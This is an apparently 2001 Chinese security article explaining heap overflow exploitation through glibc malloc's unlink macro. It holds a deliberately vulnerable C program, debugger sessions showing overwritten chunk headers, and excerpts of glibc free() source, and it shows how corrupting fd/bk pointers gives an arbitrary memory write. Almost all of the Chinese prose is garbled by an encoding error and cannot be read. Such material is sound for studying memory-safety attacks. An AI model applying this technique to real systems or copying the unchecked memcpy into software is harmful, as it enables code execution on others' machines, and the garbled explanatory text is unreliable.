¡ô Ò»ÖÖеÄHeapÇøÒç³ö¼¼Êõ·ÖÎö ×÷Õߣºwarning3 < maito:warning3@nsfocus.com > Ö÷Ò³£ºhttp://www.nsfocus.com/ ÈÕÆÚ£º2001-3-09 ¡ï ǰÑÔ Í¨³£µÄHeapÇøÒç³öÖ»ÄÜÀûÓø²¸ÇijЩº¯ÊýÖ¸Õë,jumpbuf»òÕßÖØÒª±äÁ¿µÈ·½Ê½À´ Íê³É¹¥»÷¡£Õâ·½ÃæÄÚÈÝÇë²Î¿´ÎÒÔ­À´·­ÒëÕûÀíµÄ£º http://magazine.nsfocus.com/detail.asp?id=353 Èç¹ûϵͳÖÐûÓÐÕâЩÌõ¼þ£¬¾¡¹ÜÄܹ»·¢ÉúÒç³ö£¬¹¥»÷ÕßÈÔÈ»ºÜÄÑÖ´ÐÐ×Ô¼ºµÄ´úÂë¡£ ÕâÀï½éÉÜÒ»ÖÖÀûÓÃmalloc/realloc/freeÀ´½øÐй¥»÷µÄ·½·¨¡£ÕâÖÖ·½·¨Ê¹µÃHeap ¹¥»÷µÄ¿ÉÄÜÐÔ´ó´óÔö¼ÓÁË¡£ ×¢£ºÏÂÃæËùÓеĴúÂë¾ùÔÚredhat 6.1(x86)LinuxϵͳϲâÊÔͨ¹ý¡£(glibc-2.1.3-21) ¡ï Ŀ¼ 1. ¼òµ¥½éÉÜ 2. Ò»¸ö¼òµ¥µÄÀý×Ó 3. malloc/calloc/realloc/freeµÄ»ù±¾¸ÅÄî 4. Á½ÖÖ¿ÉÄܵĹ¥»÷·½·¨ 5. Õë¶ÔÈõµã³ÌÐòµÄÁ½¸öÑÝʾ³ÌÐò 6. ʵÀý: Traceroute "-g"ÎÊÌâ ¡ï ÕýÎÄ 1. ¼òµ¥½éÉÜ Ê¹ÓÃmalloc()»òÕßcalloc()¿ÉÒÔ¶¯Ì¬·ÖÅäÒ»¶ÎÄڴ棬²¢ÏòÓû§·µ»ØÒ»¸öÄÚ´æµØ Ö·£¬¶øÊµ¼ÊÉÏÕâ¸öµØÖ·Ç°ÃæÍ¨³£ÓÐ8¸ö×Ö½ÚµÄÄÚ²¿½á¹¹£¬ÓÃÀ´¼Ç¼·ÖÅäµÄ¿é³¤¶È ÒÔ¼°Ò»Ð©±êÖ¾¡£Èç¹ûÕâЩ½á¹¹µÄÄÚÈݱ»¸²¸Ç£¬ÔÚijЩmallocʵÏÖÏ£¬¿ÉÄܵ¼Ö ¹¥»÷Õß½«ÈÎÒâÊý¾Ýдµ½Ò»¸öÈÎÒâÄÚ´æµØÖ·ÖÐÈ¥£¬´Ó¶ø¿ÉÄܸıä³ÌÐòÖ´ÐÐÁ÷Ïò£¬ ÒÔÖÁÖ´ÐÐÈÎÒâ´úÂë¡£ 2. Ò»¸ö¼òµ¥µÄÀý×Ó ÏÂÃæÎÒÃÇÀ´¿´Ò»¸ö¼òµ¥µÄÀý×Ó£¬ÕâÊÇÒ»¸ö·Ç³£µäÐ͵ÄHeapÒç³öÎÊÌâ³ÌÐò¡£Ëü·Ö ÅäÁ½¿éÄڴ棬ȻºóÏòÆäÖеÄÒ»¿é¿½±´ÁËһЩÊý¾Ý£¬ÓÉÓÚûÓмì²éÊý¾Ý³¤¶È£¬·¢ ÉúÒç³ö¡£ /* A simple vulnerable program for malloc/free test - vul.c * by warning3@nsfocus.com (http://www.nsfocus.com) * 2001/03/05 */ #include int main (int argc, char *argv[]) { char *buf, *buf1; buf = malloc (16); /* ·ÖÅäÁ½¿é16×Ö½ÚÄÚ´æ */ buf1 = malloc (16); if (argc > 1) memcpy (buf, argv[1], strlen (argv[1])); /* ÕâÀï»á·¢ÉúÒç³ö */ printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf); printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1); printf ("From buf to buf1 : %d\n\n", buf1 - buf); printf ("Before free buf\n"); free (buf); /* ÊÍ·Åbuf */ printf ("Before free buf1\n"); free (buf1); /* ÊÍ·Åbuf1 */ return 0; } /* End of main */ ÏÖÔÚÈÃÎÒÃÇÀ´¿´¿´½á¹û£º [warning3@redhat-6 malloc]$ gcc -o vul vul.c -g [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'` 0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- Ò»ÇÐÕý³£ 0x8049780 [ buf1 ] (00) : From buf to buf1 : 24 <-- Á½¸öbufferÖ®¼äÏà²î 16+8=24 ×Ö½Ú Before free buf Before free buf1 [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'` 0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- Ϊʲô»áÊÇ21×Ö½Ú?? 0x8049780 [ buf1 ] (00) : <-- Òç³öµÄÊý¾Ý»¹Ã»ÓнøÈëbuf1"¾³ÄÚ" From buf to buf1 : 24 Before free buf Before free buf1 [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'` 0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- Õâ´Î×Ö½ÚÊý¶ÔÁË 0x8049780 [ buf1 ] (00) : From buf to buf1 : 24 Before free buf Segmentation fault (core dumped) <-- ³öÏֿɰ®µÄ¶Î´íÎóÁË <-- " Before free buf1"ÔõôûÓгöÏÖ£¿ËµÃ÷¶Î´íÎó·¢ÉúÔÚÖ´ÐÐfree(buf)ʱ [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'` 0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x8049780 [ buf1 ] (04) : AAAA <-- Õâ»ØÒç³öµÄÊý¾Ý²ÅËãµ½´ïbuf1"¾³ÄÚ" From buf to buf1 : 24 Before free buf Segmentation fault (core dumped) ¿´ÆðÀ´£¬ËƺõÕâÖֶδíÎó²¢²»×ãÒÔÈÃÎÒÃÇÖ´ÐÐ×Ô¼º´úÂ룬ÒòΪ¸²¸ÇµÄµØ·½¼ÈûÓÐ º¯ÊýÖ¸Õ룬ҲûÓÐÈκÎËùÄÜÀûÓõıäÁ¿»ò½á¹¹£¬¸ü±ðÌá·µ»ØµØÖ·ÁË¡£±ð׿±£¬½Ó ÏÂÀ´ÎÒ¾Í»á¸æËßÄãÔõôÀûÓÃfree()À´µÃµ½ÎÒÃǵÄshell.ÔÚÕýʽ¿ªÊ¼Ö®Ç°£¬ÎÒÒªÏÈ ½²Ò»ÏÂmalloc/calloc/realloc/freeµÄ»ù±¾¸ÅÄî¡£ 3. malloc/calloc/realloc/freeµÄ»ù±¾¸ÅÄî malloc/calloc/realloc/freeÕ⼸¸öº¯Êý£¬ÊÇÓÃÀ´·ÖÅä»òÊͷŶ¯Ì¬ÄÚ´æµÄ¡£ ĿǰºÜ¶àLinuxϵͳËùÓõÄmallocʵÏÖ(°üÀ¨libc5ºÍglibc)¶¼ÊÇÓÉDoug LeaÍê³É µÄ¡£ÎÒÃÇÏÂÃæËù½²µÄ£¬¶¼ÊÇÖ¸ÕâÒ»°æ±¾µÄʵÏÖ¡£ ´ÓLinuxµÄManÊÖ²áMALLOC(3)Öп´µ½ÕâЩº¯ÊýÔ­ÐÍÈçÏ£º void *calloc(size_t nmemb, size_t size); void *malloc(size_t size); void free(void *ptr); void *realloc(void *ptr, size_t size); calloc()ÓÃÀ´·ÖÅänmemb¸ösize´óСµÄÄÚ´æ¿é£¬²¢·µ»ØÒ»¸ö¿ÉÓÃÄÚ´æµØÖ·¡£ Ëü»á×Ô¶¯½«µÃµ½µÄÄÚ´æ¿éÈ«²¿ÇåÁã¡£ malloc()ÓÃÀ´·ÖÅäsize´óСµÄÄÚ´æ¿é,²¢·µ»ØÒ»¸ö¿ÉÓÃÄÚ´æµØÖ·¡£ free()ÊÍ·ÅptrËùÖ¸ÏòµÄÄÚ´æ¡£ realloc()ÓÃÀ´½«ptrÖ¸ÏòµÄÒ»¿éÄÚ´æµÄ´óС¸Ä±äΪsize. ÎÒÃÇÐèҪעÒâµÄÊÇfree()ºÍrealloc()º¯Êý¡£ËüÃǶ¼ÊDZȽÏΣÏյĺ¯Êý£¬Èç¹û ËùÌṩµÄµØÖ·Ö¸ÕëptrËùÖ¸ÏòµÄÄÚ´æÊÇÒѾ­Êͷŵ쬻òÕß²»ÊÇÓÉmallocÀຯÊý ·ÖÅäµÄ»°£¬¾Í¿ÉÄÜ·¢Éú²»¿ÉÔ¤ÁϵÄÇé¿ö¡£ÎÒÃÇÒªÀûÓõģ¬Ò²¾ÍÊÇÕâЩ"²»¿ÉÔ¤ ÁÏ"µÄÇé¿ö¡£ ÓÉÓÚcalloc()ºÍmalloc()²î±ð²»´ó£¬Êµ¼ÊÉ϶¼Êǵ÷ÓõÄchunk_alloc()º¯ÊýÀ´ ½øÐзÖÅäµÄ£¬Çø±ðÖ»ÊÇcalloc()ÔÚ×îºóµ÷ÓÃÁËÒ»¸öºê MALLOC_ZEROÀ´½«·ÖÅä µÄÄÚ´æ¿éÇåÁã¡£Òò´ËºóÃæ³ý·ÇÌØ±ðÖ¸³ö£¬ÎÒÃǾÍÖ»ÒÔmalloc()ΪÀý. malloc()¶¨ÒåÁËÒ»¸öÄÚ²¿½á¹¹malloc_chunkÀ´¶¨Òåmalloc·ÖÅä»òÊͷŵÄÄÚ´æ¿é¡£ struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; prev_sizeÊÇÉÏÒ»¸ö¿éµÄ´óС£¬Ö»ÔÚÉÏÒ»¸ö¿é¿ÕÏеÄÇé¿öϲű»Ìî³ä sizeÊǵ±Ç°¿éµÄ´óС£¬Ëü°üÀ¨prev_sizeºÍsize³ÉÔ±µÄ´óС(8×Ö½Ú) fdÊÇË«ÏòÁ´±íµÄÏòǰָÕ룬ָÏòÏÂÒ»¸ö¿é¡£Õâ¸ö³ÉÔ±Ö»ÔÚ¿ÕÏпéÖÐʹÓà bkÊÇË«ÏòÁ´±íµÄÏòºóÖ¸Õ룬ָÏòÉÏÒ»¸ö¿é¡£Õâ¸ö³ÉÔ±Ö»ÔÚ¿ÕÏпéÖÐʹÓà ¶ÔÓÚÒÑ·ÖÅäµÄÄڴ棬³ýÁË·ÖÅäÓû§Ö¸¶¨´óСµÄÄÚ´æ¿Õ¼äÍ⣬»¹ÔÚÇ°ÃæÔö¼ÓÁË malloc_chunk½á¹¹µÄǰÁ½¸ö³ÉÔ±(8×Ö½Ú).Ò»¶ÎÒÑ·ÖÅäµÄÄÚ´æ½á¹¹ÈçÏÂͼËùʾ£º 0 16 32 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ÉÏÒ»¸ö¿éµÄ×Ö½ÚÊý£¨Èç¹ûÉÏÒ»¸ö¿é¿ÕÏеϰ£© | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | µ±Ç°¿éµÄ×Ö½ÚÊý (size) |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Óû§Êý¾Ý¿ªÊ¼... . . . . (Óû§¿ÉÒÔÓÿռä´óС) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ÕâÀïchunkÖ¸ÕëÊÇmalloc()ÔÚÄÚ²¿Ê¹Óõ쬶ø·µ»Ø¸øÓû§µÄÊÇmemÖ¸Õë(chunk + 8),ʵ¼ÊÉÏÏòÓû§Òþ²ØÁËÒ»¸öÄÚ²¿½á¹¹¡£Ò²¾ÍÊÇ˵£¬Èç¹ûÓû§ÒªÇó·ÖÅäsize×Ö½Ú Äڴ棬ʵ¼ÊÉÏÖÁÉÙ·ÖÅäsize+8×Ö½Ú£¬Ö»ÊÇÓû§¿ÉÓõľÍÊÇsize×Ö½Ú(ÕâÀïÏȲ»¿¼ ÂÇ¶ÔÆëÎÊÌâ)¡£nextchunkÖ¸ÏòÏÂÒ»¸öÄÚ´æ¿é¡£ ¶ÔÓÚ¿ÕÏÐ(»òÕß˵ÒѾ­ÊͷŵÄ)¿é£¬ÊÇ´æ·ÅÔÚÒ»¸öË«ÏòÑ­»·Á´±í(²Î¼ûÉÏÃæµÄ malloc_chunk½á¹¹)Öеġ£ ÔÚÄÚ´æÖеķֲ¼»ù±¾ÈçÏÂͼËùʾ£º 0 16 32 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ÉÏÒ»¸ö¿éµÄ×Ö½ÚÊý(prev_size) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | µ±Ç°¿éµÄ×Ö½ÚÊý (size) |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ǰָÕë(Ö¸ÏòÁ´±íÖеÄÏÂÒ»¸ö¿é) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ºóÖ¸Õë(Ö¸ÏòÁ´±íÖеÄÉÏÒ»¸ö¿é) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | δ±»Ë«ÏòÁ´±íʹÓõĿռä(Ò²¿ÉÄÜÊÇ0×Ö½Ú³¤) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | ÉÏÒ»¸ö¿éµÄ×Ö½ÚÊý (µÈÓÚchunk->size) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ´ó¼Ò¿ÉÄÜÖ÷Òªµ½Á½¸ö±íÖж¼ÓÐÒ»¸ö"P"±êÖ¾£¬ËüÊÇ"µ±Ç°¿é×Ö½ÚÊý"(chunk->size) ÖеÄ×îµÍһλ,±íʾÊÇ·ñÉÏÒ»¿éÕýÔÚ±»Ê¹Óá£Èç¹ûPλÖÃÒ»£¬Ôò±íʾÉÏÒ»¿éÕýÔÚ±» ʹÓã¬Õâʱchunk->prev_sizeͨ³£ÎªÁ㣻Èç¹ûPλÇåÁ㣬Ôò±íʾÉÏÒ»¿éÊÇ¿ÕÏпé, ÕâÊÇchunk->prev_size¾Í»áÌî³äÉÏÒ»¿éµÄ³¤¶È¡£ "M"λÊDZíʾ´ËÄÚ´æ¿éÊDz»ÊÇÓÉmmap()·ÖÅäµÄ£¬Èç¹ûÖÃÒ»£¬ÔòÊÇÓÉmmap()·ÖÅäµÄ£¬ ÄÇôÔÚÊÍ·Åʱ»áÓÉmunmap_chunk()È¥ÊÍ·Å£»·ñÔò£¬ÊÍ·ÅʱÓÉchunk_free()Íê³É¡£ ÕâÁ½Î»±êÖ¾Ïà¹Ø¶¨ÒåΪ£º #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 ÓÉÓÚmallocʵÏÖÖÐÊÇ8×Ö½Ú¶ÔÆëµÄ£¬sizeµÄµÍ3λ×ÜÊDz»»á±»Ê¹Óõģ¬ËùÒÔÔÚʵ¼Ê ¼ÆËãchunk´óСʱ£¬ÒªÈ¥µô±ê־λ¡£ÀýÈ磺 #define chunksize(p) ((p)->size & ~(SIZE_BITS)) Ò»´Îmalloc×îС·ÖÅäµÄ³¤¶ÈÖÁÉÙΪ16×Ö½Ú£¬ÀýÈçmalloc(0).£¨ÉÏÃæËµµÄ³¤¶ÈÊÇÖ¸ chunkµÄ³¤¶È£© Á˽âÁËÉÏÃæÕâЩ»ù±¾¸ÅÄÎÒÃÇÔÙÀ´¿´¿´free(mem)ʱ×öÁËЩʲô£º Ê×ÏȽ«memת»»Îªchunk(mem-8)£¬²¢µ÷ÓÃchunk_free()À´ÊÍ·ÅchunkËùÖ¸µÄÄÚ´æ¿é¡£ È»ºó³ÌÐò»á¼ì²éÆäÏàÁÚ£¨°üÀ¨Ç°ºó£©µÄÄÚ´æ¿éÊDz»ÊÇ¿ÕÏеģº Èç¹ûÊÇ¿ÕÏпéµÄ»°£¬¾Í½«¸ÃÏàÁÚ¿é´ÓÁ´±íÖÐÕª³ý(unlink)£¬È»ºó½«ÕâЩÏàÁÚµÄ¿Õ ÏпéºÏ²¢£» Èç¹û²»ÊÇ¿ÕÏпéµÄ»°£¬¾ÍÖ»ÊÇÉèÖúóÒ»¸öÏàÁÚ¿éµÄprev_sizeºÍsize(Çå PREV_INUSE±êÖ¾)¡£ ×îºó½«µÃµ½µÄ¿ÕÏпé¼ÓÈ뵽˫ÏòÁ´±íÖÐÈ¥¡£ ÔÚ½øÐÐunlink²Ù×÷ʱ£¬Êµ¼ÊÉϾÍÊÇÖ´ÐÐÁËÒ»¸öÁ´±í½áµãµÄɾ³ý¹¤×÷¡£ ±ÈÈ磬Èç¹ûÒª´ÓÁ´±íÖÐɾ³ýchunk½áµã£¬ËùÒª×öµÃ¾ÍÊÇ: chunk0->fd <== chunk->fd chunk1->bk <== chunk->bk ÈçÏÂËùʾ£º chunk0 chunk chunk1 +----------------------+..+----------------------+..+----------------------+ |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| +----------------^-----+..+----------------+---+-+..+--------------------^-+ |_________________________| |_________________________| mallocʵÏÖÖÐÊÇʹÓÃÁËÒ»¸öunlinkºêÀ´Íê³ÉÕâ¸ö²Ù×÷µÄ£¬¶¨ÒåÈçÏ£º /* take a chunk off a list */ #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } ·¢ÏÖÁËÂð£¿ÕâÀïÓÐÁ½¸öдÄÚ´æµÄ²Ù×÷¡£Èç¹ûÎÒÃÇÄܹ»¸²¸Çchunk->fdºÍchunk->bk µÄ»°£¬ÄÇôchunk->fd¾Í»áдµ½(chunk->bk + 8)Õâ¸öµØÖ·£¬¶øchunk->bk¾Í»á±» дµ½(chunk->fd + 12)Õâ¸öµØÖ·£¡»»¾ä»°Ëµ£¬ÎÒÃÇ¿ÉÒÔ½«ÈÎÒâ4¸ö×Ö½Úдµ½ÈÎÒâ Ò»¸öÄÚ´æµØÖ·ÖÐÈ¥£¡£¡ÎÒÃǾͿÉÄܸıä³ÌÐòµÄÁ÷³Ì£¬±ÈÈ縲¸Çº¯Êý·µ»ØµØÖ·¡¢ ¸²¸ÇPLT±íÏî¡¢.dtor½á¹¹µÈµÈ£¬Õâ²»ÕýÊÇÎÒÃÇËùÒªµÄÂ𣿠free()ºÍrealloc()Öж¼ÓÐunlink²Ù×÷£¬Òò´ËÎÒÃÇÒª×öµÄ¾ÍÊÇÒªÏë°ì·¨ÓúÏÊÊµÄ ÖµÀ´¸²¸Ç¿ÕÏпé½á¹¹ÖеÄ*fdºÍ*bk,²¢ÈÃunlinkÄܹ»Ö´ÐС£ ÏÂÃæÈÃÎÒÃÇÔٻص½¿ªÍ·µÄÄǸöÎÊÌâ³ÌÐò£¬¿´Ò»ÏÂÈçºÎ¹¥»÷Ëü¡£ 4. Á½ÖÖ¿ÉÄܵĹ¥»÷·½·¨ ÏÈÀ´¿´¿´Èõµã³ÌÐòÊÇÔõô³ö´íµÄ£º [warning3@redhat-6 malloc]$ gdb ./vul -q (gdb) b main Breakpoint 1 at 0x80484a6: file vul.c, line 10. (gdb) r `perl -e 'print "A"x21'` Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'` Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10 10 buf = malloc (16); /* ·ÖÅäÁ½¿é16×Ö½ÚÄÚ´æ */ (gdb) n 11 buf1 = malloc (16); (gdb) p/x buf $1 = 0x8049768 (gdb) x/20x buf-8 0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000 0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889 0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000 0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 [ p±íʾÄÚ´æ¿éÄÚ²¿Ö¸Õë ] [ ×¢ÒâÉÏÃæ¼Ó*ºÅµÄµØ·½£¬ÕâÀ↑ʼµÄ½áµãÊÇÁ´±íÖеÄtop½áµã, #ºÅ´¦ÊÇËüµÄ³¤¶È ] (gdb) p/x *(buf-4) <--- ÕâÀï´æ·ÅµÄÊǵ±Ç°¿éµÄ´óС£¬ÉèÖÃÁËPREV_INUSEλ $3 = 0x19 (gdb) p/x *(buf-4)&~0x1 <-- ËãÒ»ÏÂʵ¼Ê³¤¶È: 0x18 = 0x10 + 0x8 $4 = 0x18 (gdb) n 13 if (argc > 1) (gdb) p/x buf1 <-- ·ÖÅäµÚ¶þ¿éÄÚ´æ $5 = 0x8049780 (gdb) x/20x buf-8 0x8049760: p:0x00000000 0x00000019 buf:0x00000000 0x00000000 0x8049770: 0x00000000 0x00000000 p1:0x00000000 0x00000019 0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000 0x8049790: *0x00000000 #0x00000871 0x00000000 0x00000000 0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 [ p1±íʾÄÚ´æ¿éÄÚ²¿Ö¸Õë ] [ ÎÒÃÇ¿´µ½top½áµãºóÒÆÁË0x18×Ö½Ú£¬³¤¶ÈÒ²ËõСÁË0x18×Ö½Ú ] (gdb) n 13 if (argc > 1) (gdb) n 14 memcpy (buf, argv[1], strlen (argv[1])); /* ÕâÀï»á·¢ÉúÒç³ö */ (gdb) n 16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf); (gdb) x/20x buf-8 0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141 0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019 0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000 0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 [ ÌîÈëµÄ20¸ö×Ö½ÚÒѾ­Òç³öÁËbuf,²¢¸²¸Çµ½Á˵ڶþ¸öÄÚ´æ¿éµÄÄÚ²¿½á¹¹p1->prev_size ] [ ½ô½Ó×ŵÄÄǸö×Ö½Ú0x19ÊÇp1¿éµÄ³¤¶È£¬ËùÒÔÏÂÃæÔÙ¼ÆËãstrlen(buf)ʱµÃµ½µÄ³¤¶ÈΪ ] [ 21.ÏÖÔÚÄãÓ¦¸ÃÃ÷°×¿ªÍ·ÄǸöÎÊÌâµÄ´ð°¸Á衃 ] (gdb) c Continuing. 0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA 0x8049780 [ buf1 ] (00) : From buf to buf1 : 24 Before free buf Before free buf1 ÓÉÓÚÉÏÃæµÄÇé¿öÏ£¬p1µÄsize²¿·ÖûÓб»¸²¸Ç£¬Òò´ËϵͳÈÏΪbufǰºóµÄ¿é¶¼²» ÊÇ¿ÕÏеÄ,Òò´Ë¾Í²»»áÓÐunlink²Ù×÷£¬Ò²¾Í²»»áÓжδíÎó·¢ÉúÁË¡£Èç¹ûÎÒÃÇÔÙÔö ¼Ó¼¸¸ö×Ö½Ú£¬¾ÍûÓÐÄÇô"ÐÒÔË"ÁË. (gdb) b 14 Breakpoint 1 at 0x80484ca: file vul.c, line 14. (gdb) r `perl -e 'print "A"x24'` Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'` Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14 14 memcpy (buf, argv[1], strlen (argv[1])); /* ÕâÀï»á·¢ÉúÒç³ö */ (gdb) x/20x buf-8 0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000 0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019 0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) n 16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf); (gdb) x/20x buf-8 0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141 0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141 0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) b 21 <-- Õâʱºòbuf1µÄÄÚ²¿½á¹¹(prev_sizeºÍsize)ÒѾ­±»¸²¸ÇÁË Breakpoint 2 at 0x804855e: file vul.c, line 21. (gdb) c Continuing. 0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA 0x8049780 [ buf1 ] (00) : From buf to buf1 : 24 Before free buf Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21 21 free (buf); /* ÊÍ·Åbuf */ (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100 3100 malloc.c: No such file or directory. (gdb) x/i $pc 0x400740c4 : testb $0x1,0x4(%ecx,%esi,1) (gdb) i r $ecx ecx 0x41414140 1094795584 <-- Õâ¸öÊǸ²¸Çºóp1µÄ¿é³¤¶È (gdb) i r $esi esi 0x8049778 134518648 <-- Õâ¸öÊÇp1¿éµÄµØÖ· ÏÂÃæÎÒÃÇÀ´¿´free()ÊÇÔõô¹¤×÷µÄ£¬ÒÔ±ãÈ·¶¨µ½µ×ÊÇÄÄÀï·¢ÉúÁ˶δíÎó¡£×¢Òâ ÏÂÃæµÄ´úÂë×öÁËһЩ¼ò»¯£º void fREe(Void_t* mem) { ... (a) if (chunk_is_mmapped(p)) /* Èç¹ûIS_MMAPPEDλ±»ÉèÖã¬Ôòµ÷ÓÃmunmap_chunk() */ { munmap_chunk(p); return; } ... p = mem2chunk(mem); /* ½«Óû§µØÖ·×ª»»³ÉÄÚ²¿µØÖ·: p = mem - 8 */ ... chunk_free(ar_ptr, p); } static void internal_function chunk_free(arena *ar_ptr, mchunkptr p) { INTERNAL_SIZE_T hd = p->size; /* hdÊǵ±Ç°¿éµØÖ· */ INTERNAL_SIZE_T sz; /* µ±Ç°¿é´óС */ INTERNAL_SIZE_T nextsz; /* ÏÂÒ»¸ö¿é´óС */ INTERNAL_SIZE_T prevsz; /* ÉÏÒ»¸ö¿é´óС */ ... check_inuse_chunk(ar_ptr, p); sz = hd & ~PREV_INUSE; /* È¡µÃµ±Ç°¿éµÄÕæÊµ´óС */ next = chunk_at_offset(p, sz); /* µÃµ½ÏÂÒ»¸ö¿éµÄµØÖ· */ nextsz = chunksize(next); /* µÃµ½ÏÂÒ»¸ö¿éµÄÕæÊµ´óС * #define chunksize(p) ((p)->size & ~(SIZE_BITS)) */ if (next == top(ar_ptr)) /* Èç¹ûÏÂÒ»¸ö¿éÊÇÍ·½áµã£¬ÔòÓëÖ®ºÏ²¢ */ { sz += nextsz; (b) if (!(hd & PREV_INUSE)) /* Èç¹ûÉÏÒ»¸ö¿éÊÇ¿ÕÏеģ¬ÔòÓëÖ®ºÏ²¢*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; unlink(p, bck, fwd); /* ´ÓÁ´±íÖÐɾ³ýÉÏÒ»¸ö½áµã */ } set_head(p, sz | PREV_INUSE); top(ar_ptr) = p; ..... } /* Èç¹ûÏÂÒ»¸ö¿é²»ÊÇÍ·½áµã */ (b) if (!(hd & PREV_INUSE)) /* Èç¹ûÉÏÒ»¸ö¿éÊÇ¿ÕÏеģ¬ÔòÓëÖ®ºÏ²¢*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); /* ´ÓÁ´±íÖÐɾ³ýÉÏÒ»¸ö½áµã */ } /* ¸ù¾ÝÎÒµÄÅжϣ¬¸Õ²ÅµÄ³ÌÐò£¬ÊÇÔÚ½øÐÐÕâ¸ö¼ì²éʱ·¢Éú¶Î´íÎóµÄ */ (c)if (!(inuse_bit_at_offset(next, nextsz)))/* Èç¹ûÏÂÒ»¸ö¿éÊÇ¿ÕÏеģ¬ÔòÓëÖ®ºÏ²¢*/ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd);/* ´ÓÁ´±íÖÐɾ³ýÏÂÒ»¸ö½áµã */ next = chunk_at_offset(p, sz); } else set_head(next, nextsz); /* Èç¹ûǰºóÁ½¸ö¿é¶¼²»ÊÇ¿ÕÏеģ¬Ôò½«ÏÂÒ»¸ö¿éµÄsize ÖеÄPREV_INUSEλÇåÁã */ set_head(p, sz | PREV_INUSE); next->prev_size = sz; /* ½«ÏÂÒ»¸ö¿éµÄprev_size²¿·ÖÌî³Éµ±Ç°¿éµÄ´óС */ if (!islr) frontlink(ar_ptr, p, sz, idx, bck, fwd); /* ½«µ±Ç°Õâ¸ö¿é²åÈë¿ÕÏпéÁ´±íÖÐ */ ..... } 